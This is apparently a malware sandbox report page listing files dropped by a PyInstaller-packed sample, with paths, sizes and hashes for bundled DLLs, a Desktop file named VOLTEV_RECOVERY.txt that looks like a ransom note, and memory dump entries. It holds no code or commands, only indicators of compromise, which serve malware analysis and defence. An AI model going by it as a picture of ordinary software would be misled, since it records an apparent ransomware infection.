Size 9.4MB
SHA256 813b101f70efb79c388239ce82ac891e195a1e19eeaeb43c32d9bf425e7b51b8
MD5 6a2afa7e9ef97caef783732afbc5a7b3
SHA1 d1d73a533fdccc03aed6d059f2bf012172b23881
SHA512 6fde5059726a6ed57b02adadc36c1811c6b5f50976301b62136a386e4f5d5d8c9ac70a6286607c12854eadb2fb06033b2d0af88de0d6c9361e8d3c6bb1e0ff6d
SSDEEP 98304:rQEAy1nOkNM93c3PYUKMgr56ABAaMvjSL2piQHKEJn+8ingcn2jt:r26ABAaMvjSL2EQH1B7N
TLSH
T105A66C25BAA950ACC86AC4B4C38756339B7134DA0B747AEF49D496B52F36FE01B3D700
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libcrypto-3.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI49842\libcrypto-3.dll
Size 5.0MB
SHA256 8b27ebae75cc99f20075322446af36c9ffcb4e3b400a77d712ef43f007f47f7d
MD5 9751638ed5684f53f07ef6b4c7e8a786
SHA1 896a535cb1e49daa88e9aea693f52926c7e6f1a4
SHA512 b461c99c6115be95baac937f07038decd5ab2917aaaf12df8d1a44b1bc4ab28cde5ef748d1575d33b18d5e46d67f4ebc9c30333f3974c349c6f8a3c4edd86472
SSDEEP 98304:1H+q/MS7XFmXiTpdFGUPB1CPwDvt3uFlDC5g:J9/7XFmXwpdFGU51CPwDvt3uFlDCS
TLSH
T145367B6AA7A80189E4BAC13CC9534613D2B1F85A57B097CF18A156BD0F37FDA2B3D740
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libffi-8.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI49842\libffi-8.dll
Size 38KB
SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
MD5 0f8e4992ca92baaf54cc0b43aaccce21
SHA1 c7300975df267b1d6adcbac0ac93fd7b1ab49bd2
SHA512 6e1b223462dc124279bfca74fd2c66fe18b368ffbca540c84e82e0f5bcbea0e10cc243975574fa95ace437b9d8b03a446ed5ee0c9b1b094147cefaf704dfe978
SSDEEP 768:NiQfxQemQJNrPN+moyijAc5YiSyvkIPxWEqG:dfxIQvPkmoyijP7SytPxF
TLSH
T10B037C0B458418A4E657D53D97A64A2AC335B9240B60F2CB03D4C2BA3F6B7D6FB7C358
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libssl-3.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI49842\libssl-3.dll
Size 776KB
SHA256 56dd50fb903b860ace831d0cd6c6250cd57e8655867c3a0fa16eac2d4cc0ba0b
MD5 a643b4a012da0d4b5653a01a458cabb7
SHA1 4e788bee34f620e671f426cc356e846c5ef51db8
SHA512 d8ac85fbf3dccb071d6fa4349d9af08116e1057da127016fcda45c9b643e4e1ef4166e0b6ef3d64f2e4d6e9a6f06122f2f8aec7fe2d5916e820b079148ff533f
SSDEEP 12288:ORPyn2nh9MXVkVJ1Ylrl3cfXJaizeTWMldFe9XbBR:wPXnh9MX2V3Ylp3cfXJaizCFe9XbBR
TLSH
T1BAF45CADB37805DCD8B6C17986934623E3B6F4562330EBEB0651C6790F277D52B3A248
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

python3.DLL

Path C:\Users\Admin\AppData\Local\Temp\_MEI49842\python3.DLL
Size 72KB
SHA256 f3d0cd260a46a9617a8b1d4d5e8703278478c22a910165bffb4e4ddf6562d93f
MD5 303f286d14b7db861ad96314bd8bf3f7
SHA1 2745bd50e91648968888ad495ebf4f66d10e4533
SHA512 4beb99ecd472df29d099c179f0a1c8809f741594d81704cc1d8194169c0826273cb9cfcfe2b7fc4b98fc07742c55fcafa9257c8a67450000dbdec3971acf13c5
SSDEEP 768:WQlHwMvmhZpNVBBr2KyrGYpoQdFxxI4XngqMkf/tFd1WugwBByCsAKyEG+zMRKIk:DbTrnXngXMFEIjG0xyYiS9yfILB8
TLSH
T13A735D5E6B54F8A2D6B629FC78D199CE242B12FC9F2584DFA47CD3D20D1A310A22734D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

python314.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI49842\python314.dll
Size 6.5MB
SHA256 18310593c50ad109fc5c95db1fd5c92ecec9e1bfc66c976df9fc11dd62616d5a
MD5 49232f3b18bf5e2c2bd8ae0c9ad99913
SHA1 7d69e9b82972a41e69d3558868229b8b004ce534
SHA512 72a98bfd6771d0136848f4ba3f639b81a4b6d48b6d820b1495167819e5ec86fe763029c3e8e1c74d68310e08ba1dab4a0a11b3cf6acd72912740144a1ad64af4
SSDEEP 98304:vnKFXcgNEs5c00S048PePvOh0evvlHDMiEiV9:vnKFXcgNw00S0487Ei/
TLSH
T13B668D26737501A5D9BB8035C9034687DBB1BC00AB30D34B49A47ADA3F733635BAEB95
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pywintypes314.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI49842\pywin32_system32\pywintypes314.dll
Size 133KB
SHA256 e62808f40462f8066c8d19811cebd15467de6992b1cb48be5f5903910f5395f7
MD5 c11818bd607c6060902836c3f6bf024a
SHA1 31846f719f3eb804c8ffcf3783ef343b8e206730
SHA512 3349ddeaf776a5f6e20026e217d56cfbcf053772c3366af5aa3282ff2889cd92a2c31ba39b3cbaa18a90d6d1e9bbde97215278f12dbd7724062d5c3f06fd6e63
SSDEEP 3072:WZkbcF76SzXHDjEquY/rZ6YrFc1V4Bpg7d+LLvvzab:WZkbc0STfPuY/rP+1V4XgR+LT
TLSH
T1F2D32947374648DAE97A937DCD771A02C3A6B0000711E3CF46A1C2AA5F637E5AD3BB42
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sqlite3.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI49842\sqlite3.dll
Size 1.5MB
SHA256 d711c289bba08259fa56fc20d41bf346dfefd1a927a7d538b8fc0dd75719d331
MD5 d16782b68af73d7ac797ed07836643d6
SHA1 9de7f1abaf8bcec5b2e44e7535c76e9bfad23f9f
SHA512 80c38443225d37a70df74f298505a0e5bccbdb9db53e3d91086a08edb87f29bedac6655359b3ce5772c1f9810b9ac0e0721f77bb5eede59f0380a78887c20798
SSDEEP 24576:vDKX0pwDaOrROsxNkJPcG/Z2ZQQSKTWzdPcZb0LJ0ZC5hJ07gf4UBd84ZD1fyX3+:b8pOsxNkJPcGxWQuWRP+bZ6Icf4vC1fx
TLSH
T193759D4BF2B801ADD0A7C17A851B1707EBB1B4051B64A7DF1590CAA92F53FE217BE324
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tcl86t.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI49842\tcl86t.dll
Size 1.8MB
SHA256 a308beae8555cff5ac2aff7eaf0aef40b5fe173f047e246dc49da9a4d3ef62f9
MD5 fa83a807131f3d4a6070eb884e682ad1
SHA1 226bf1cd0fc289034d9579c95ee0fe4df50cc6b8
SHA512 6e86f3725bb68af581e3e1b917c950f255e0f4348256fc02d8a560159cd225fe28303da2554c205636f2f82b9757072bf0c3460116bd7b09ef0bf01cc46125a2
SSDEEP 49152:D0W4UbmMRbf0TIWn5SDf/qxF+PJJHmkY7C4wJreAJGP:YBUqMR7i6x9T+P
TLSH
T1E6859F1BE76410ACD8ABD1BCC227E60BDFF1B559136066DB51A08B912F23FE1277A305
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tk86t.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI49842\tk86t.dll
Size 1.5MB
SHA256 20f4876506bce7f89e53570e64fd1dce30a64548326b45f372871c7019560df4
MD5 0da8eb1421517029c8d986519b0e5c63
SHA1 daa8395b9d691b5dfbdaa1f63256555a14010891
SHA512 f729f812901cc023111989d6e1eaa639d2ed2283bdb852c91abc283dee3d785295d3191f70f2ef535d268d454279a7ddd0339993f06be21b62d43d8ab27d70af
SSDEEP 49152:A76DXYkBMhchLNqaJvARxr9DrTwylL1y62BEqkEH0CF2MT2JTBKa8SERGezf5:VQchLNqaJvARxr9DrTwylL1y5BEq8JTW
TLSH
T16E755A06B2A0C198C66FA134C91796BAE7F17C05931057DB72A0BE697F73BD2673A304
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ucrtbase.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI49842\ucrtbase.dll
Size 1.3MB
SHA256 2e5fb14b7bf8540278f3614a12f0226e56a7cc9e64b81cbd976c6fcf2f71cbfb
MD5 286b308df8012a5dfc4276fb16dd9ccc
SHA1 8ae9df813b281c2bd7a81de1e4e9cef8934a9120
SHA512 24166cc1477cde129a9ab5b71075a6d935eb6eebcae9b39c0a106c5394ded31af3d93f6dea147120243f7790d0a0c625a690fd76177dddab2d2685105c3eb7b2
SSDEEP 24576:cQPuhXCFmugCw3wUAZMMNX6smpRrgTuJi+1Sats7F9qmxvSZX0ypKpIPng:cQWhXCFm7Cw3w3ZXX6DYaY9lpUg
TLSH
T1BE55AE2266AD01E9C5BFD13DC65B4906E9B2781503709ACB03E94E792E3BBF5077B321
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

unicodedata.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI49842\unicodedata.pyd
Size 740KB
SHA256 a7a2bfeed5d0480d8c458b3a61ee32c478ae10c694e8be61c3ba0e8cc2a6e1c6
MD5 624ffa84aa15efced4c1fd8e5ccf0b95
SHA1 2c08e87703b662828be085b4fe07e5b28b723e8a
SHA512 8f531ade03ad048c5f9d1de307e45960822e2dfd50bb27a71173a7ccb90f1a49028b70848046d34b81f130341cae4d7853db171f3167554e8c0c5a2cad40cc61
SSDEEP 12288:xPYzAPtrZmDtBPcH+dEYJ5EIub+z70lDJPT36mwtNh+:xPY05ZmDPqO54lDJPTMNh+
TLSH
T1D3F4F5F5BB838C16E69B767A48D3610F4E50C2B35F0A8637B2182355D8EB3B44DD582E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

win32api.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI49842\win32\win32api.pyd
Size 136KB
SHA256 9004920e2c7863c34d0b3c4183ab3e1482475817cfb64f4f198e1fdd43f48f4e
MD5 28b70b1aa326df930246f099d93e5ab1
SHA1 c491c685c0a31901bc708aaef777d44cc157bb94
SHA512 ff991de71f9301171dad8f35d2198eadbe747257983fcd2b584adbdc5ba8c88dc3fed44d7b3d191302c3a2c7bb3cc76d7750e5c8b0d01f082c7d09c02dd42673
SSDEEP 3072:8ZW08k/WhmOEYlRVlhLaN/P3MXKqTmW/gD49jEYe:s8wWhmilRVsP3xqlUGjE
TLSH
T137D31883B39900D6D8AAA3BCC4674E63D736B4200721A7CF06A0C18B1F677E97D79795
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

win32crypt.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI49842\win32\win32crypt.pyd
Size 123KB
SHA256 1144670ad8271e4d477167bcb55b8ec38e8ad9f02c6fbfe66024e67083da2131
MD5 bef94c55e5f2b9c742467469abdbb089
SHA1 720fc0e2954fea3822144ca97303c6d60eb64133
SHA512 07644f2a5f9b6ae3fed2c55366aba74f5f3961d3deb1316139a1300df7229ae0d2be543b8100cc07cb8ba530c62d44a8e5c5b702641e63da4366eb946bb71799
SSDEEP 3072:+sFWiORseWQgjXefpRoh+MNO3xhxRXvxh+Pal:+0W9SQg0okRfxh+A
TLSH
T10EC33A1332964DD6E9AAD3BDC8239807E7A4B0154721ABCF0950C6DA0F67BE06D3E749
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

win32event.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI49842\win32\win32event.pyd
Size 29KB
SHA256 f16242b661c20f510ea13fa3dcac5bd332bccb4d135ef2ab497b3f3f3398c389
MD5 eb732ce13f0fb8520010b2e7ebfc5a59
SHA1 3eb1b902fb7f0a3b31005c94d7b5d1e745e75b02
SHA512 b2143474881e34be4b282e8f389048340e98631de8c5dba6aa26c2bd63a70f602b0cd55b3fcbf95ea80e154c2134cd59dd34f0fabb88651c75581ac6c94eb199
SSDEEP 768:F9WgtT0f52Pqq0+rxcF/jhfWddbcrlcb6OTfmku36ucaZ:FZhNcF/jhfWddbcCGOTfmku36faZ
TLSH
T11CD2F78723A850D5E526D17DC8660F47E6B6B93103A0B3DF0252D55A1F733E17A38F8A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zlib1.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI49842\zlib1.dll
Size 142KB
SHA256 1dd27f0411ebb31bd148a61589cee254410915f1e6c37aa3ffa52fac71a5426c
MD5 eb3af30a0981219d851e6506db106bc2
SHA1 fd7b1b01dc01a7f32bd51f9a31bf717f4d55d09c
SHA512 8f55f4a86b747b5570d0f539c95dc1677eeba52bcd01850e8d86998b3415b99c92566ad9ece0e46b50e0e3a7eed6a4fe09604ec295f36f9bebf6e8f407ace468
SSDEEP 3072:0vEO6FnGGVV1m4dkRR5Th2UgvGxbOUJCoV:0sVD+RrFgvi7J9
TLSH
T1C8E37D9BA6E228BDC67780B052E78776F932B8214B309DEF5148C7741B12E506B197FC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

euc-cn.enc

Path C:\Users\Admin\AppData\Local\Temp\_MEI54602\_tcl_data\encoding\euc-cn.enc
Size 84KB
SHA256 1700af47dc012a48cec89cf1dfae6d1d0d2f40ed731eff6ca55296a055a11c00
MD5 c5aa0d11439e0f7682dae39445f5dab4
SHA1 73a6d55b894e89a7d4cb1cd3ccff82665c303d5c
SHA512 eee6058bd214c59bcc11e6de7265da2721c119cc9261cfd755a98e270ff74d2d73e3e711aa01a0e3414c46d82e291ef0df2ad6c65ca477c888426d5a1d2a3bc5
SSDEEP 768:UHivP+bFFScXEBFhHeUrUFESCeYjN7GC0nYX:I7FFX2nHeUr8ESCDlX
TLSH
T1F383286043498EC0D70811DBE0EB7B923AFEBC7297C4D4A052F6CB859A3745D684F6D6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

INSTALLER

Path C:\Users\Admin\AppData\Local\Temp\_MEI54602\cryptography-49.0.0.dist-info\INSTALLER
Size 4B
SHA256 ceebae7b8927a3227e5303cf5e0f1f7b34bb542ad7250ac03fbcde36ec2f1508
MD5 365c9bfeb7d89244f2ce01c1de44cb85
SHA1 d7a03141d5d6b1e88b6b59ef08b6681df212c599
SHA512 d220d322a4053d84130567d626a9f7bb2fb8f0b854da1621f001826dc61b0ed6d3f91793627e6f0ac2ac27aea2b986b6a7a63427f05fe004d8a2adfbdadc13c1
MD5 SHA1 SHA512

Submit Download

VOLTEV_RECOVERY.txt

Path C:\Users\Admin\Desktop\VOLTEV_RECOVERY.txt
Size 439B
SHA256 84abbd53b569b86be2a675575cef10c3a8fc770507a01a32f15cfd2ad304c05f
MD5 e9ee78e0e3007a288cd94e784b3f9502
SHA1 11e18243a048f682693fca878a07aa26f8b12c7f
SHA512 ab9fd830615fd07dbc57b086a4d6e949aba778505f1de0ebc27c94b357df23d740347a22fb75eff57942c5b4a5b3bb39aa359e78f92472c6d4d5d20a5de77162
TLSH
T1B8F0C27F69CA9CC0A4BB25D5B24C8464A2869549FF6A3213B4680D882B3537A45E08E8
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3240-3271-0x00007FFB920A0000-0x00007FFB920C9000-memory.dmp

Download

memory/3568-3269-0x00007FFBA8BD0000-0x00007FFBA8BF9000-memory.dmp

Download

memory/5976-3270-0x00007FFB96E00000-0x00007FFB96E29000-memory.dmp

Download